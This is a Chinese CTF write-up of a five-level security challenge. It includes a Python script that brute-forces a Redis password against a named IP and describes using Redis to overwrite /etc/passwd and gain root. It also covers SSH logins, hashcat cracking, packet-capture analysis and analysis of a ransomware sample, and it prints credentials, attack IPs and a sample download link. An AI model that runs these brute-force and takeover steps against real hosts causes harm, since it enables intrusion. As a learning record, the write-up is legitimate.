我是如何通關信安之路巔峯挑戰賽的

本文作者:jianghuxia(本次信安之路巔峯挑戰賽唯一一個堅持到最後通關的小夥伴)

額,大家好,我是菜雞,這次比賽的writeup如下,orzorz

Level_1

歡迎參加首屆信安之路巔峯挑戰賽,第一關的入口:

http://wifiseciloveyouxazl.xazlsec.com

獲得key之後,通過後臺發送key將獲得第二關的入口信息,祝你好運!

選擇題爲主,最後一題例外,爲此,還抓了個包,研究了下js腳本

看下腳本

火狐抓個包,得到key?這tm什麼原理。

Level_2

恭喜通關第一關,第二關入口:

http://nizhidaoqianduanyoushama.xazlsec.com

獲得key之後,通過後臺發送key將獲得第三關的入口信息,祝你好運!

我滴個天啊。。。。。弱密碼隨意登陸。。。。。不好意思,這題我真是非預期解法,具體的預期解法,之前信安之路文章已發,就不仔細講述啦!

得到第二關答案key:2c4b23c265c3e834f31024533565f2be

Level_3

恭喜完成第二關,第三關的入口:

http://honglanduikburongyiya.xazlsec.com

獲得key之後,通過後臺發送key將獲得第四關的入口信息,祝你好運!

這題,學到的東西很多,坑點多,但就是好玩。

日常掃端口

沒發現啥(這時候也沒全tcp端口掃描),後面出題老哥放出新提示

上網搜搜,嗯 ,6379 Redis很有可能哦。

嘗試一波,發現6379端口開的是redis服務,執行命令redis-cli -h 66.42.84.155 -p 6379,發現可以登錄,但是需要密碼。

嘗試使用hydra爆破,但是不知爲啥,爆破無效(這裏上網搜索了下,說是hydra編譯問題),於是嘗試使用python腳本。

importredis
importsys
importgetopt
importdatetime
importtime

'''
author:Qing
try to login the redis database
-h help
-P password file
-a server address
-o port, default 6379
'''


defusage():
   print'''Options:
-h help
-P password file
-a server address
-o port, default 6379
'''


port= 6379 # default port
starttime= time.localtime()
print"start time: ", time.strftime("%Y-%m-%d %H:%M:%S", starttime)
opts, args= getopt.getopt(sys.argv[1:], "hP:a:o:")
forop, valueinopts:
   ifop== "-P":
       input_file= value
   elifop== "-a":
       host= value
   elifop== "-o":
       port= value
   elifop== "-h":
       usage()
       sys.exit()

fo= open("hydra_zidian.txt", "r+")
passwd= " "
while1:
   host= '66.42.84.155'
   port=6379
   line= fo.readline()
   passwd= line
   passwd= passwd[0:(len(passwd) -1)]  # filter the /n
   printpasswd
   rs= redis.Redis(host, port, db=0, password=passwd)  # AUTH password
   response= 'wrong passwd'
   try:
       response= rs.ping()  # use PING to judge the state of redis
   exceptredis.exceptions.ResponseError:
       pass
   # print response
   else:
       ifresponse== True:
           printresponse
           printpasswd
           fo.close()
           stoptime= time.localtime()
           print"stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
           exit(0)
   ifnotline:
       print"no valid passwd"
       stoptime= time.localtime()
       print"stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
       exit(0)

字典選擇top100弱密碼就行啦,開始爆破。

爆破成功,密碼是:1q2w3e4r

嗯~,爆破是成功了,但是怎麼利用redis漏洞呢,可以看看這篇文章:

http://www.freebuf.com/vuls/148758.html

其中詳細指出了一些想法。

自己測試時,發現/root/.ssh/這個目錄不在了,想着利用redis寫入自己私鑰,遠程ssh連接上去的幻想也就破滅了。

後面嘗試着,網上學習了一波,嘗試着讀下/etc/這個目錄,喔!竟然存在,嘿嘿,那麼是不是可以嘗試/etc/passwd 文件實現任意賬號密碼的重置呢?具體操作請查看上述那個鏈接,下面是自己的操作:

好的,成功save後,嘗試以root用戶登陸,然後就這樣登上去了,root用戶登上去了?^--$--*/,還是有點吃驚的,趕快聯繫了下出題的大佬,問下就這樣?這是預期解法?直接用root?後面問了下,redis是用root 身份啓動,被菜雞我剛好撞上了,直接把root密碼重置了。甚至,不小心把/etc/shadow給搞壞了,抱歉啊,不是故意的。

查看下敏感信息

後面老哥給了我個admin的用戶賬號和密碼,心虛的我也不好意思的接受了。咳,繼續解題。回到root用戶登陸後,用root權限轉了一圈,看了下/tmp/history,以下爲內容

[root@vultr tmp]# cat history 
   1yum update
   2yum list | greprredis
   3yum list | grepredis
   4yum install redis
   5redis-cli
   6iptables
   7iptables -L
   8iptables -L-F
   9iptables  -F
  10redis-cli
  11yum install redis-server
  12 wgethttp://download.redis.io/releases/redis-3.2.12.tar.gz
  13tar xzfv redis-3.2.12.tar.gz 
  14 cdredis-3.2.12
  15 ls
  16 make
  17 ls
  18 cd../
  19 rm-rf*
  20 wgetwgethttp://download.redis.io/releases/redis-2.8.17.tar.gz
  21tar xzfv redis-2.8.17.tar.gz 
  22yum install gcc
  23yum install cc
  24yum install g++
  25 cdredis-2.8.17
  26 make
  27 makeinstall
  28 cd../
  29redis -cli
  30redis-cli
  31 cdredis-2.8.17/s
  32 cdredis-2.8.17/
  33 ls
  34 cdsrc/
  35l
  36 ls
  37 cd../
  38 vimredis.conf 
  39yum install vim
  40 ls
  41 vimredis.conf 
  42 cdsrc/
  43./redis-server 
  44./redis-server &
  45 ps-ef
  46ifconfig
  47 cd
  48useradd key P@ssword123
  49useradd key
  50passwd key
  51 cat/etc/shadow
  52 ls
  53 mkdir.ssh
  54key 的明文密碼就是下一關通關密語
  55 exit
  56 ls-la
  57 cat.bash_history 
  58 exit
  59quit
  60 exit
  61 ls
  62 cdredis-2.8.17
  63 ls
  64 cdsec
  65 cdsrc
  66 vimredis-server 
  67redis-server 
  68redis-cli -h127.0.0.1 -p6379shutdown
  69netstat -tunlp
  70redis-server 
  71netstat -tunlp
  72./redis-server 
  73redis-cli ../redis.conf &
  74netstat -tunlp
  75jobs 
  76redis-server ../redis.conf &
  77netstat -tunlp
  78 cd/home/
  79 ls
  80 cdkey/
  81 ls
  82 ls-al
  83 cd..
  84 cd
  85 cd/root/
  86 ls
  87passwd key
  88 cd/root/.ssh/
  89 ls
  90 cd..
  91 ls
  92 ls-al
  93 cd.ssh/
  94 ls
  95 ls-al
  96 cd..
  97 rm-rf.ssh/
  98 cd/home/
  99 ls
 100 cdkey/.ssh
 101 mkdirkey/.ssh/
 102 cd/home/
 103 ls
 104 cdkey/
 105 cd.ssh/
 106 ls
 107 rmauthorized_keys 
 108 cd
 109history 
 110 cd/home/key/.ssh/
 111 ls
 112 catauthorized_keys 
 113 rmauthorized_keys 
 114 ls
 115 rmauthorized_keys 
 116 cd..
 117 cd
 118useradd test
 119useradd guest
 120useradd admin
 121useradd redis
 122passwd test
 123passwd guest
 124passwd admin
 125 mkdir/home/admin/.ssh/
 126 mkdir/home/test/.ssh/
 127 mkdir/home/guest/.ssh/
 128 ls
 129 cd/home/
 130 ls-L1
 131 ls
 132 cdadmin/
 133 ls
 134 ls-al
 135 cd..
 136 ls
 137 cd.
 138 cd
 139 wgethttps://cowtransfer.com/s/84d80d0d7b3c45
 140 wgethttps://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip
 141netstat -tunlp
 142history > /tmp/history
 143 cd/tmp/
 144 vimhistory 
 145 exit
 146passwd test
 147passwd admin
 148passwd gue
 149passwd guest
 150history > /tmp/history

em~,我以爲我找到答案了,你肯定也看到了P@ssword123,想多了,因爲下面的命令告訴我們,大佬改了密碼。

先再看看/etc/shadow,en~,密碼的hash值都有,不是說key 的明文密碼就是下一關通關密語嗎?那試試爆破key用戶的hash值咯。結果再爆破這裏,巨坑,有兩種工具可以爆破,一種john,一種hashcatjohn不知啥原因,kaliubuntu下均報錯,折騰許久,還是沒弄好,就去搞鼓hashcat

hashcat用的是windows版的,但是死活爆破不出來,這是我使用的是john的自帶字典rockyou.txt,後面一直換字典,還是爆不出來。厚着臉皮去問出題大佬,大佬給了點提示,仔細看history文件,看了半天,還是沒看出啥來,大佬看不下去了,字典在裏面。哦~,於是我懂了。上面的history文件有這兩條記錄

打開https://cowtransfer.com/s/84d80d0d7b3c45,提示了

140行的url經過URLdecode後是這樣的:

https://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/高頻字典.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=高頻字典.zip

更是提醒我們要用這個字典去跑keyhash值,之前我也有看到這個,還打開過,但是覺得很莫名其妙,聽到大佬的提示,突然悟了。是我太菜了,orz

於是下載高頻字典.zip,然後開始爆破,破破破,不知道怎麼破請看 Hash 破解神器:Hashcat 的簡單使用

https://blog.csdn.net/mydriverc2/article/details/41384853

構造以下命令:

hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 字典.txt

簡單描述下這條命令的意思:如果hashcat字典.txt中跑出的 hash 值與crack.hash中所求內容相同,就將字典.txt找到的對應值寫入found.txt中。

於是找啊找,跑啊跑,發現跑完剛剛下載的所有高頻字典.zip裏的文件還是沒找到啊,於是自己本地建了個key用戶測試了下,發現可以跑出來啊。感覺出題大佬被我坑了(之前直接的redis命令寫入,把/etc/passwd寫壞了),後面問了下,果然,之前的那條keyhash值是跑不出來的。額。。。自作自受啊。出題老哥後面重新給了個sha512的值

$6$ZkfV4HlR$7hk5IVzAVIq1gGLJo254qMm9LT6YrnUy7iATOTc8das8pOwGPWzKMlWTczMjp5fAyYFQ1SMe/K.FIGBAX/0590

執行命令:hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 55泄漏門(部分).txt,秒破

查看found文件:

第三關最終的KEY1314woaini1314

聽說後面這題是這樣的,覺得難度就應該降低挺多的了

Level_4

恭喜完成第三關,第四關的入口是:

http://zuohaoyingjixiangyinghennan.xazlsec.com

獲得key之後,通過後臺發送key將獲得第五關的入口信息,祝你好運!

打開網頁是這樣的(我剛做這題的時候,頁面是沒有任何消息的,摸索好一陣子)

打開網址https://cowtransfer.com/s/023ab1f54dd04c,提供了一個壓縮包HellWorld.pcapng進行下載。

wireshark三板斧試下,很快就會發現其中的http流存在提示,有個壓縮包,裏面有私鑰和公鑰文件。除此之外明確,攻擊者內網ip:10.0.3.111,被攻擊ip:173.82.235.146(攻擊者的外網ip182.150.21.33,估計出題老哥這題是在虛擬機抓的,所以會有內外網ip)

而分組1006110956則分析出以下內容:

http://dynupdate.noip.com/settings.php?username=C3A37087469&pass=HMAC{yuyvphyx4snkqvtgt7kiyiamtra=}

<?xmlversion="1.0"?>
<noip_host_listemail="C3A37087469"enhanced="false"webserver="">
 <domainname="ddns.net"type="free">
   <hostname="cherishao"group=""wildcard="false"/>
 </domain>
</noip_host_list>

http://dynupdate.noip.com/ducupdate.php?username=C3A37087469&h[]=cherishao.ddns.net&ip=182.150.21.33&pass=HMAC{qq6tthdbubqfp7d+t0wrgo6pykg=}

其中有個username=C3A37087469,這個是接下來的線索。另外,值得一提的是passwd.jpg這個圖片,這個http傳輸載體tcp傳輸時,存在丟包現象,所以單純的http流追蹤是找不到迴應的包,只能通過追蹤tcp流查找重傳的數據。

很明顯,是個圖片,不過是base64格式,這個需要自行通過html標籤img使圖片顯示在網頁中,操作一番,如下

好的,我們現在得到了*mGX3Y-d。再仔細看看題目還有個神祕代碼,

UJxgqdNUuH2I5EDDXgXvhFleJiVxeOvZBLXiLJ3lTq+lTRg7eSMR4++CZwe2z7vFh5CqETYeoZ7fAUWT4iCMMuap2iG/OfbKV2JN2SFrpCKCmSfnlxKIF02KTUyI99Ip/06LtNlmAIBtWisi0Ijr67lq+2HKQgxu5KaaNQpzohk=

這個通過之前壓縮包中的rsa私鑰文件直接解密,會得到以下內容eK8}vD3=

好的做到這裏,我有話要講,那個時候,再看了下題目

再聯繫上面得到的消息,我用ubuntussh服務嘗試爆破了207.148.27.12022端口,其中爆破字典我選擇了top100的弱密碼,並且添加了*mGX3Y-deK8}vD3=eK8}vD3=*mGX3Y-d這兩個密碼進去,但是爆破沒結果。而真相是,過了一天,我用xshell再次連接時,直接root用戶,再以eK8}vD3=*mGX3Y-d登進去了,登進去了。(這裏之前問了出題老哥,老哥說設置了ssh驗證次數爲5次,猜測是不是這個原因導致ubuntuhydra沒有成功爆破)

密碼是eK8}vD3=*mGX3Y-d

登錄成功後,第一件事就是查看history,還是發現了一些東西,比如說icmpsh_m.py,剛開始以爲這個是linux提權的後門,理直氣壯去找老哥,老哥說不是這個。好吧繼續找。

然後往下翻翻看到了這個

有個很明顯的目錄/etc/ssh/,下載了個XAZLER.exe

打開後是這樣的

細心的你們一定發現,上面有提示“請按任意鍵繼續”,嗯,但是我沒按,直接關掉了(那個時候我只要多按下任意一個鍵,key就會出來)。然後我又繼續往下探索,發現了存在一個C3A37087469的用戶,咦!

其中有個key.sh,打開看下

#@Cherishao 

echo“Goodjob!!"

:) Congratulations, youhavecomehere. 

  However, youneedahigherlevelofpermissions!!!

  Itissaidthathigherprivilegepasswordsaremorecomplicated(16bit).

到這裏,想了好久還是沒思路,厚着臉皮去問出題老哥,發了一些解題截圖過去,老哥說:“你是不是傻啊,再隨便按個鍵啊”,然後就是下面這個樣子(tm內心一萬匹草泥馬飛奔)

好吧,得到了key,下一關的鑰匙。

在其中的解題過程中,此題的出題老哥,教了我好些應急響應、溯源等知識,賊喜歡。

這裏放個學習鏈接, 乾貨 | 黑客入侵?這裏有詳細的應急排查手冊:

https://www.leiphone.com/news/201706/oCidY2C8IPHt82mF.html

解題過程中,老哥爲了加快我們的解題速度,還放出了個提示:

後面做完題,感覺這提示沒啥用啊。後面問了下

好吧,的確有這樣的想法,當時我記得ip反查都試了一遍。

Level_5

恭喜完成第四關,第五關是一個病毒分析題,樣本下載地址:

https://pan.baidu.com/s/1mngKICMpg4nSekfBp0qpPw       密碼:fbox

本題有兩個問題:

1:RSA公鑰是什麼?

2: 黑客服務器的IP地址是什麼?

這題啊,大家解壓壓縮包的時候千萬小心,這是個真的病毒,嗯~,還好我放在虛擬機裏了,不然,物理機得遭殃。

看到了題目,想了想,有點意思啊,還問黑客服務器的IP地址是什麼?。玩玩唄,虛擬機運行下這個病毒軟件,發現文件數據被加密了,還發現了這個

然後我就去下載onion瀏覽器了,弄了半天沒弄好,去問出題老哥,我覺得那個時候老哥都被我逗笑了。

然後老哥給了提示,抓包,這個其實也想到了,但是想歸想到,操作起來發現巨坑,因爲病毒傳送信息的服務器炸了,導致抓包的時候沒有看到http流,後面仔細看了半天,才找到下圖的線索。

是的,黑客服務器的IP地址就是137.74.163.43,就是這麼簡單。但是讓我頭疼的是第一個問題,rsa的公鑰是啥?我滴個天啊,擺明要逆向啊。去問問出題老哥有沒其他做法,老哥指點了一條明路:內存提串,後面使用了火絨劍,這個工具,賊好用。仔細分析了很久,火絨劍監控一下,就能看到這個病毒exe相應的行爲了,在其運行完畢後,最終還會釋放一個PE,而這個PE是沒有任何混淆的,可以清晰使用IDA查看到其中的RSA公鑰。當然其中需要dump一下,這裏請教了下出題老哥:OD本身能dumpPEtoolSloadPE也都能dump。好吧,那就dump一下,dump出來後,直接扔到IDA中,得到RSA公鑰

得到的最後RSA公鑰爲

-----BEGINPUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyvXYYjSQqu7nWxB8HH/9SIaTd ZZ5Es9nv2KQnPcUV6F0ZHITClTZvoa7PbtG77q76xBNdvTH8VIXGjn+d58xK8jlE krC/N87iWPpG0jgmeY/ytR/gyArojmDFFnt11WP2koi2sjWzz1UXv8SC/aHHqfHe wgWrhFLmlhxrBxo46wIDAQAB -----ENDPUBLIC KEY-----

黑客服務器ip:137.74.163.43

這裏有個尷尬的地方,因爲我是先拿到ip,提交答案後,直接“完成所有挑戰”,後面跟出題老哥反映下,再繼續去找公鑰的答案。

到此結束,大佬們,再見。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章